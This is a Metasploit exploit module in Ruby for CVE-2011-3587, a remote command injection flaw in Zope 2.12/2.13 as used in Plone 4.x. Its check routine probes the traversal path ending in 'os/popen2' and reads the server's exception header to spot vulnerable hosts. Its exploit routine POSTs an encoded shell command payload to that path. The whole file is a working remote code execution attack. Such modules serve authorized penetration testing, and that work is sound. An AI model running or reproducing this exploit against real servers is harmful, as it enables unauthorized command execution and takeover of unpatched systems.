##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Plone and Zope Remote CMD Injection Exploit',
      'Description'    => %q{
        Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x
        through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute
        arbitrary commands via vectors related to the p_ class in OFS/misc_.py and
        the use of Python modules.

      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Plone Security team',  # Vulnerability discovery
          'Nick Miles',           # Original exploit
          'TecR0c'                # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2011-3587'],
          ['URL', 'http://www.exploit-db.com/exploits/18262/'],
          ['URL', 'http://plone.org/products/plone/security/advisories/20110928']
        ],
      'Privileged'     => false,
      'Payload'        =>
      {
        'Compat'     =>
        {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic telnet perl ruby',
        }
      },
      'Platform'       => ['unix', 'linux'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => 'Oct 04 2011',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('URI',[true, "The path to the Plone installation", "/"]),
      ],self.class)
    register_autofilter_ports([ 8080 ])
  end

  def check
    uri = datastore['URI']
    uri << '/' if uri[-1,1] != '/'
    uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'

    res = send_request_raw(
      {
        'uri'       => uri
      }, 25)
    if (res.headers['Bobo-Exception-Type'] =~ /zExceptions.BadRequest/)
      return Exploit::CheckCode::Vulnerable
    end
    # patched == zExceptions.NotFound
    return Exploit::CheckCode::Safe
  end

  def exploit
    uri = datastore['URI']
    uri << '/' if uri[-1,1] != '/'
    uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'

    send_request_cgi(
      {
        'method'    => 'POST',
        'uri'       => uri,
        'vars_post' =>
          {
            'cmd' => payload.encoded,
          }
      }, 0.5) # short timeout, we don't care about the response
  end
end